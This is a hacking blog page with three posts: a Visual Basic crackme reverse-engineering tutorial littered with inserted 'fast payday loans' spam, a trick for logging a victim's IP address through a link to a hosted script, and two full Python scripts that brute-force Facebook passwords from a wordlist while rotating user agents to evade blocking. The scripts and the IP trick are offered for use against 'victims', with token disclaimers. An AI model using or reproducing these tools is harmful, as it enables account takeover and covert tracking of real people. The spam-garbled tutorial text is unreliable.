This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

الاثنين، 18 نوفمبر 2013

Reverse Engineering In VB


Introduction

In this tutorial we will go over working with targets written in Visual Basic. Unfortunately, to become a well-rounded reverse engineer, we must know how to deal with these animals as there are many applications written in VB. Because this is a rather large subject, I will split it into two tutorials.
We will be looking at two crackmes, both included in the download of this tutorial. We will also be using VB Decompiler (the Lite version) which is included in the download.
As always, this tutorial, as well as all support files, can be downloaded on the tutorials
fast payday loans
page.

Introducing Visual Basic

Visual Basic is an event-driven language. This means that instead of a program running from beginning to end, VB reacts to events that happen in a window. This is similar to Windows programming in that events take place and call methods that are registered to handle those events, but VB differs in that most of the processing and message creation is performed in a DLL file. This file is the Visual Basic ‘runtime’.
The process of creating an application is a little different than, say, C++. You generally create a window (or dialog box) by dragging elements from a toolbox onto your window canvas. It is similar to C# .NET in this regard (and Delphi). Once you have your window built, you then create methods that will handle any events that can come from a user interacting with your windows contents; if a user clicks a button, the method you have made that handles the button event is called. If a user types in an edit box, the edit box method is called. Because the only code you are providing is the event code, most of the window’s processing is done for you. All of this processing is done in a DLL file called “msvbvm60.dll”, though the ’60′ may be different if using a different version of the runtime.
Another huge difference between Visual Basic and more traditional languages is a programmer has the option of compiling a VB application natively or in something called P-code. Native is simply assembly language, running natively on a processor, therefore OS and processor specific. P-code, on the other hand, is interpreted, much like Java and .NET, making it runnable on various operating systems. Interpreted means that, after compiling your VB application into P-code, when a user runs your application, something like a virtual machine is run, which interprets the P-code into native code for that specific operating system on-the-fly. When used, the p-code engine is a relatively simple machine that processes a series of “high-level” operation codes (“opcodes”). This engine is also stack-based, so very few arguments or functions are passed through registers.
The benefit of this is that if you install the VB runtime on, say, a Mac, then the P-code compiled application will be interpreted and run on a Mac. Switching to a Linux environment simply means running the Linux virtual machine (by installing the runtime), and voila, your app will run in Linux. Of course the downside is you take a speed hit as the code must be converted to native code before running.
Because VB applications can be compiled into P-code, the traditional debugging tools are a lot harder to use. Combine this with the fact that most of the time is spent in a DLL we don’t care about, and it can be quite challenging. The good news is that there are a couple tools out there that will help us. We will be going over these shortly.

Investigating The Target in Olly

When you first load a Visual Basic program in a debugger such as Olly, you will see a call is immediately performed into the VB DLL, where it will stay until an event happens. Because of this, VB programs are a little different to reverse engineer. The first thing you will notice is that the call stack is worthless; this is because most of the program’s running time is within a DLL file, the VB runtime DLL. We don’t care about this DLL, but we do care about the callback methods that handle events.
fast payday loans
Another difference is in the way strings are handled. Because most of the message boxes, as well as all other window controls, are stored in resource sections, Olly won’t display strings like a traditional C or C++ program. Therefore, using strings to find relevant sections of code is usually not an option:
fast payday loans
***If you want to see the following data yourself in Olly, load CrackmeVB1.exe.***
Another hindrance to reversing is the fact that the method calls are completely different in a VB executable. Instead of calls to such things as RegisterWindowEx and MessageBoxA, VB uses its own API calls, embedded in the runtime DLL:
fast payday loans
Clicking through to one of these methods details the difference between VB and what we are used to:
fast payday loans
As you can see, there are no helpful strings, no recognizable API calls.
Before we look at the tools at our disposal, let’s see what the basic file structure of a VB executable is. I have loaded CrackmeVB1.exe, which is compiled in P-code. Scrolling to the top of the code in the disassembly view, we see the list of functions in the binary:
fast payday loans
This is a reference for the runtime for the API calls that will be needed when the program is run.
Scrolling down a little we come to the jump table. This is similar to the jump table seen in most windows binaries and is there to help with code relocation:
fast payday loans
After this, we come to a vast sea of data. This is where the VB binary stores it’s resources. Anything from strings, to buttons, to callbacks are stored in here. One thing to note is that Visual Basic uses the actual name of a callback; so if you want “MyButtonCallback” to handle the button event, that string will be used to reference it. Because of this, you will see the various callback names embedded in this resource section:
fast payday loans
Scrolling down (much) further, we get to the actual event callbacks. These are the user generated callback methods to handle the various events. As you can see, there is no documentation as to which callback methods each is, though we will change this later with MAP files:
fast payday loans
Lastly we come to the Import Address Table, or IAT. We will get *much* more familiar with this in the tutorials on unpacking:
fast payday loans
and that’s pretty much it. Obviously, this isn’t a heck of a lot of information to work with. Fortunately, we have a tool…

VB Decompiler Lite

VB Decompiler is available in both a ‘Lite’ and ‘Pro’ version, the Lite version being free (and so, the one included with this tutorial). VB Decompiler allows us to decompile Visual Basic code, that has been converted into P-code, back into the original VB source code. Well, almost anyway :) . It also allows us to view the resources embedded in the executable in a much friendlier format. Running VB Decompiler Lite, we first see the main screen:
fast payday loans
Opening our first crackme, “CrackmeVB1.exe” and selecting the ‘Decompile’ button, we see the main project:
fast payday loans
Most of this information is unimportant- mostly just file attributes etc. Notice, though, that in the project tree (under the ‘Forms’ folder) there are two forms, form1 and Form2. These are the resources associated with each form. Because there are two, we know that this application actually has two forms; One the main window and, in this case, one an about screen. Running that app confirms this:
fast payday loans
You will also notice two additional things when running this target; The about screen is in a different language, and you cannot click the “OK” button in the about screen. If any of you have followed my tutorials on modifying binaries, you will know that, of course, this is my favorite thing about this crackme :) .
If you double click on “Form2″ in the “Forms” folder (in the project tree of VB Decompiler) we will see the various resources, along with attributes, for Form2:
fast payday loans
Here we can see that there is one button with the text “OK”, one label with the text in a different language, and one callback method for the “OK” button event called “Command1″.
Double clicking on Form1 brings up the main window’s attributes:
fast payday loans
Now we know several important things about this crackme; the important button is called “Check!” and has a callback method with the name of “Command2″, and Form1 is the main form we want to concern ourselves with. If you look down the tree, under the “Code” node, you will see the code that corresponds with the various forms. Opening the ‘Form1′ tree, we see that there are five callbacks, one for the “Checkit” button (Command2_Click_402FD0) and others for other buttons and mouse movements. If you run the target, you will see that the mouse movements callback is to change the color of the text when you hover over it.
What we want is Command2, as that’s our callback:
fast payday loans
Double clicking on this shows us the actual assembly code…
The important thing about this screen is the address of the callback. All we really wanted to use VB Decompiler for (in this case) is to find the address of the callback for the “Checkit” button, which we can see is 402FD0. Going to this address in Olly (with the target loaded) shows us the beginning of the callback function:
fast payday loans
If you set a BP here, run the target, and enter a username and serial, you will see that, after clicking the “Checkit” button, Olly pauses at our callback. We have now found our main registration callback code!!!

VB Decompiler Pro

I wanted to show what the actual P-code looks like, and for that we need VB Decompiler Pro. Unfortunately, this application requires that you buy it (… :) …) to use this function. Looking at the same code in VB Decompiler Pro looks like this:
fast payday loans
Here, we can see the actual P-code method for the callback. First, several variables are set up. The background is changed at 4030A2, a procedure is called at 4030D9 (and it looks pretty interesting), and then what is probably our magic compare/jump is performed at address 4030E1. We can see that if the results of calling the procedure at 403800 are true, we will then jump to 4030E8. If not, we will fall through and perform the instructions beginning at address 4030E2. Taking a little time, we could actually find the patch this way, though I personally like going back to Olly to do it, as it doesn’t hurt my brain so much.

Patching the App

Going to address 402FD0, the beginning of the callback, we can see the actual code:
fast payday loans
Setting a BP here and restarting the target, then stepping down some, we see at address 4030AA the background of the window changes color, just as we suspected from the P-code:
fast payday loans
At address 4030E3, we see the badboy message pop up:
fast payday loans
Looking at that area of code, we can see that right before it is a compare/jump combo:
fast payday loans
Let’s set a BP at address 4030E1, restart the target, and see if that’s the check. When Olly pauses, changing the zero flag forces the jump at address 4030E1. Unfortunately, this doesn’t display anything. This means we want to take a closer look at the call to address 4032C0 at address 4030E3. Placing a BP here, restarting the target, and stepping in, we see the main decryption routine:
fast payday loans
As we will see shortly, there are some very standard method calls in VB that should be memorized. Scrolling down the code, we see one of these at address 403644:
fast payday loans
vbaVarTstEq is like StrCmp in native code- it checks two entities to see if they match. Highlighting the call down three lines at address 40364F and clicking “Enter”, Olly follows the call and we see we’re on the right track:
fast payday loans
So we know we must make the code execute to address 403644. Looking above this at the various jumps, we find the following JE at address 40344F:
fast payday loans
which jumps to the area of code we want:
fast payday loans
So let’s place a BP at address 40344F, run the target, and change the zero flag to force the jump:
fast payday loans
Now, stepping down to the JE instruction at 40364D, we obviously want to stop this from jumping over our call to the goodboy. Changing the zero flag when we land here, we see that we have in fact cracked the target:
fast payday loans

Frequently Called Methods

As stated earlier, there are some methods that are called a lot when looking at protection schemes:
_vbaVarTstEq
_vbaVarTstNe
_vbaVarCmpEq
_vbaStrCmp
_vbaStrComp
_vbaStrCompVar
9 out of 10 times, one of these routines will be used to compare a serial with the correct one. One of these, _vbaVarTstEq, was used in the previous crackme.
Go ahead and load CrackmeVB2.exe into Olly. Performing a search of intermodular calls, we see one of our suspicious calls:
fast payday loans
Here we see the call to _vbaStrCmp. Looking up the String.Compare method call in the Visual Basic API, we see that it takes two strings as arguments and returns an int. The return value is either -1, 0 (for equals) and 1, depending on if the first is greater than or less than the second, or zero if they are equal. This is what the call looks like in VB:
fast payday loans
Double clicking this call in Olly, we jump to where this call is performed.
fast payday loans
Let’s set a BP on this line and run the target:
fast payday loans
Entering a password (I entered ’12121212′) and clicking OK, Olly breaks right where we want him to:
fast payday loans
Looking down a little bit at address 403f40, we see our wonderful compare/jump instruction. Stepping down to there and changing the zero flag, then running the target, we see that this was our simplest crack yet :) :
fast payday loans
There is a lot to take in here, but the most important thing is to mess around some on your own and discover how this stuff works on your own. I have included a crackme that we will be going over in the next tutorial (crackmeVB3.exe), so that you may try your hand at it. Following the same steps in this tutorial will solve this crackme as well.

الأحد، 17 نوفمبر 2013

How to Get IP Address of Victim



Today I will tell you that how to get
an IP address of victim with
a easy trick.
You can get an IP address of your victim
by sending him/her  just a link..
First download Script from here.
Now login to any free hosting site like :
110mb.com, my3gb.com, 000webhost etc..
upload index.php file and then your link
will be like:
www.yourwebsite.com/index.php
Now send that link to your victim, When
victim will click your given link then a
new text file named IP.txt will be
created where you have uploaded index.php
file.
Now check www.yoursite.com./IP.txt
Woohooo….
You got it.
Enjoy 
Comment if Any Problem Exist !!

Python Script for facebook Brute force Attact

This Script Only works on BackTrack ...
Here are the steps
Just Copy the below code save in the text Editor
Change its Extension to fb.py & save it to Desktop
Now open the terminal and type >
cd Desktop
Hit Enter
Now Type >
python fb.py 
Simply follow the steps 
Note uhh will require Dictionary for this attact go to below links :
 OR Create your Own Dictionary

Here's the Script :

  1. #!usr/bin/python
  2. #Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
  3. #This program is for educational purposes only.
  4. #Don't attack people facebook accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6. #Mauritania Attacker is not responsible.or even me!!
  7. import sys
  8. import random
  9. import mechanize
  10. import cookielib
  11. GHT = '''
  12.         +=======================================+
  13.         |..........Facebook Cracker v 2.........|
  14.         +---------------------------------------+
  15.         |#Author: Mauritania Attacker           |
  16.         |#Contact: www.fb.com/mauritanie.forever|
  17.         |#Date: 02/04/2013                      |
  18.         |#This tool is made for pentesting.     |
  19.         |#Changing the Description of this tool |
  20.         |Won't made you the coder ^_^ !!!       |
  21.         |#Respect Coderz ^_^                    |
  22.         |#I take no responsibilities for the    |
  23.         |  use of this program !                |
  24.         +=======================================+
  25.         |..........Facebook Cracker v 2.........|
  26.         +---------------------------------------+
  27. '''
  28. print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
  29. print "# Hit CTRL+C to quit the program"
  30. print "# Use www.graph.facebook.com for more infos about your victim ^_^"
  31. email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
  32. passwordlist = str(raw_input("Enter the name of the password list file : "))
  33. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  34. login = 'http://www.facebridge.net/login.php?login_attempt=1&sc=1'
  35. def attack(password):
  36.   try:
  37.      sys.stdout.write("\r[*] trying %s.. " % password)
  38.      sys.stdout.flush()
  39.      br.addheaders = [('User-agent', random.choice(useragents))]
  40.      site = br.open(login)
  41.      br.select_form(nr=0)
  42.      
  43.      ##Facebook
  44.      br.form['email'] =email
  45.      br.form['pass'] = password
  46.      br.submit()
  47.      log = br.geturl()
  48.      if log != login:
  49.         print "\n\n\n [*] Password found .. !!"
  50.         print "\n [*] Password : %s\n" % (password)
  51.         sys.exit(1)
  52.   except KeyboardInterrupt:
  53.         print "\n[*] Exiting program .. "
  54.         sys.exit(1)
  55. def search():
  56.     global password
  57.     for password in passwords:
  58.         attack(password.replace("\n",""))
  59. def check():
  60.     global br
  61.     global passwords
  62.     try:
  63.        br = mechanize.Browser()
  64.        cj = cookielib.LWPCookieJar()
  65.        br.set_handle_robots(False)
  66.        br.set_handle_equiv(True)
  67.        br.set_handle_referer(True)
  68.        br.set_handle_redirect(True)
  69.        br.set_cookiejar(cj)
  70.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  71.     except KeyboardInterrupt:
  72.        print "\n[*] Exiting program ..\n"
  73.        sys.exit(1)
  74.     try:
  75.        list = open(passwordlist, "r")
  76.        passwords = list.readlines()
  77.        k = 0
  78.        while k < len(passwords):
  79.           passwords[k] = passwords[k].strip()
  80.           k += 1
  81.     except IOError:
  82.         print "\n [*] Error: check your password list path \n"
  83.         sys.exit(1)
  84.     except KeyboardInterrupt:
  85.         print "\n [*] Exiting program ..\n"
  86.         sys.exit(1)
  87.     try:
  88.         print GHT
  89.         print " [*] Account to crack : %s" % (email)
  90.         print " [*] Loaded :" , len(passwords), "passwords"
  91.         print " [*] Cracking, please wait ..."
  92.     except KeyboardInterrupt:
  93.         print "\n [*] Exiting program ..\n"
  94.         sys.exit(1)
  95.     try:
  96.         search()
  97.         attack(password)
  98.     except KeyboardInterrupt:
  99.         print "\n [*] Exiting program ..\n"
  100.         sys.exit(1)
  101. if __name__ == '__main__':
  102.     check()



    This could also works :D

    [b]#!/usr/bin/python
    # This is facebook bruteforcer tools
    # This was written for educational purpose and pentest only. Use it at your own risk.
    # Author will not be responsible for any damage !!
    # Toolname  : FaceBrute.py
    # Programmer    : Woah
    # Version   : 1.0


    import re
    import os
    import sys
    import random
    import warnings
    import time
    try:
        import mechanize
    except ImportError:
        print "[*] Please install mechanize python module first"
        sys.exit(1)
    except KeyboardInterrupt:
        print "n[*] Exiting program...n"
        sys.exit(1)
    try:
        import cookielib
    except ImportError:
        print "[*] Please install cookielib python module first"
        sys.exit(1)
    except KeyboardInterrupt:
        print "n[*] Exiting program...n"
        sys.exit(1)

    warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)

    # define variable
    __programmer__  = "gunslinger_ "
    __version__     = "1.0"
    verbose     = False
    useproxy    = False
    usepassproxy    = False
    log     = 'fbbruteforcer.log'
    file        = open(log, "a")
    success     = 'http://www.facebook.com/?sk=messages&ref=mb'
    fblogin     = 'https://login.facebook.com/login.php?login_attempt=1'
    # some cheating ..
    ouruseragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
            'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
            'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
            'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
                'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
                'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
                'Microsoft Internet Explorer/4.0b1 (Windows 95)',
                'Opera/8.00 (Windows NT 5.1; U; en)',
            'amaya/9.51 libwww/5.4.0',
            'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
            'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
            'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
            'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
            'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
            'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
            ]
    facebook    = '''
      __               _                 _
    / _|             | |               | |
    | |_ __ _  ___ ___| |__   ___   ___ | | __
    |  _/ _` |/ __/ _  '_  / _  / _ | |/ /
    | || (_| | (_|  __/ |_) | (_) | (_) |   <
    |_| __,_|______|_.__/ ___/ ___/|_|_\
                        bruteforcer...

    Programmer : %s
    Version    : %s''' % (__programmer__, __version__)
    option          = '''
    Usage  : %s [options]
    Option : -u, --username             |   User for bruteforcing
             -w, --wordlist             |   Wordlist used for bruteforcing
             -v, --verbose              |   Set %s will be verbose
             -p, --proxy           |   Set http proxy will be use
             -k, --usernameproxy        |   Set username at proxy will be use
             -i, --passproxy        |   Set password at proxy will be use
             -l, --log          |   Specify output filename (default : fbbruteforcer.log)
             -h, --help                     |   Print this help

    Example : %s -u brad@hackme.com -w wordlist.txt"

    P.S : add "&" to run in the background
    ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
    hme         = '''
    Usage : %s [option]
        -h or --help for get help
        ''' % sys.argv[0]

    def helpme():
        print facebook
        print option
        file.write(facebook)
        file.write(option)
        sys.exit(1)

    def helpmee():
        print facebook
        print hme
        file.write(facebook)
        file.write(hme)
        sys.exit(1)

    for arg in sys.argv:
        try:
            if arg.lower() == '-u' or arg.lower() == '--user':
                        username = sys.argv[int(sys.argv[1:].index(arg))+2]
            elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                        wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
                elif arg.lower() == '-l' or arg.lower() == '--log':
                        log = sys.argv[int(sys.argv[1:].index(arg))+2]
                elif arg.lower() == '-p' or arg.lower() == '--proxy':
                    useproxy = True
                        proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
                elif arg.lower() == '-k' or arg.lower() == '--userproxy':
                    usepassproxy = True
                        usw = sys.argv[int(sys.argv[1:].index(arg))+2]
                elif arg.lower() == '-i' or arg.lower() == '--passproxy':
                    usepassproxy = True
                        usp = sys.argv[int(sys.argv[1:].index(arg))+2]
            elif arg.lower() == '-v' or arg.lower() == '--verbose':
                        verbose = True
                elif arg.lower() == '-h' or arg.lower() == '--help':
                    helpme()
            elif len(sys.argv) <= 1:
                helpmee()
        except IOError:
            helpme()
        except NameError:
            helpme()
        except IndexError:
            helpme()

    def bruteforce(word):
        try:
            sys.stdout.write("r[*] Trying %s...                    " % word)
            file.write("[*] Trying %sn" % word)
            sys.stdout.flush()
            br.addheaders = [('User-agent', random.choice(ouruseragent))]
            opensite = br.open(fblogin)
            br.select_form(nr=0)
            br.form['email'] = username
            br.form['pass'] = word
            br.submit()
            response = br.response().read()
            if verbose:
                print response
            if success in response:
                print "nn[*] Logging in success..."
                print "[*] Username : %s" % (username)
                print "[*] Password : %sn" % (word)
                file.write("n[*] Logging in success...")
                file.write("n[*] Username : %s" % (username))
                file.write("n[*] Password : %snn" % (word))
                sys.exit(1)
        except KeyboardInterrupt:
            print "n[*] Exiting program...n"
            sys.exit(1)
        except mechanize._mechanize.FormNotFoundError:
            print "n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.comn"
            file.write("n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.comn")
            sys.exit(1)
        except mechanize._form.ControlNotFoundError:
            print "n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.comn"
            file.write("n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.comn")
            sys.exit(1)

    def releaser():
        global word
        for word in words:
            bruteforce(word.replace("n",""))

    def main():
        global br
        global words
        try:
            br = mechanize.Browser()
            cj = cookielib.LWPCookieJar()
            br.set_cookiejar(cj)
            br.set_handle_equiv(True)
            br.set_handle_gzip(True)
            br.set_handle_redirect(True)
            br.set_handle_referer(True)
            br.set_handle_robots(False)
            br.set_debug_http(False)
            br.set_debug_redirects(False)
            br.set_debug_redirects(False)
            br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
            if useproxy:
                br.set_proxies({"http": proxy})
            if usepassproxy:
                br.add_proxy_password(usw, usp)
            if verbose:
                br.set_debug_http(True)
                br.set_debug_redirects(True)
                br.set_debug_redirects(True)
        except KeyboardInterrupt:
            print "n[*] Exiting program...n"
            file.write("n[*] Exiting program...n")
            sys.exit(1)
        try:
            preventstrokes = open(wordlist, "r")
            words          = preventstrokes.readlines()
            count          = 0
            while count < len(words):
                words[count] = words[count].strip()
                count += 1
        except IOError:
            print "n[*] Error: Check your wordlist pathn"
            file.write("n[*] Error: Check your wordlist pathn")
            sys.exit(1)
        except NameError:
            helpme()
        except KeyboardInterrupt:
            print "n[*] Exiting program...n"
            file.write("n[*] Exiting program...n")
            sys.exit(1)
        try:
            print facebook
            print "n[*] Starting attack at %s" % time.strftime("%X")
            print "[*] Account for bruteforcing %s" % (username)
            print "[*] Loaded :",len(words),"words"
            print "[*] Bruteforcing, please wait..."
            file.write(facebook)
            file.write("n[*] Starting attack at %s" % time.strftime("%X"))
            file.write("n[*] Account for bruteforcing %s" % (username))
            file.write("n[*] Loaded : %d words" % int(len(words)))
            file.write("n[*] Bruteforcing, please wait...n")
        except KeyboardInterrupt:
            print "n[*] Exiting program...n"
            sys.exit(1)
        try:
            releaser()
            bruteforce(word)
        except NameError:
            helpme()

    if __name__ == '__main__':
        main()[/b]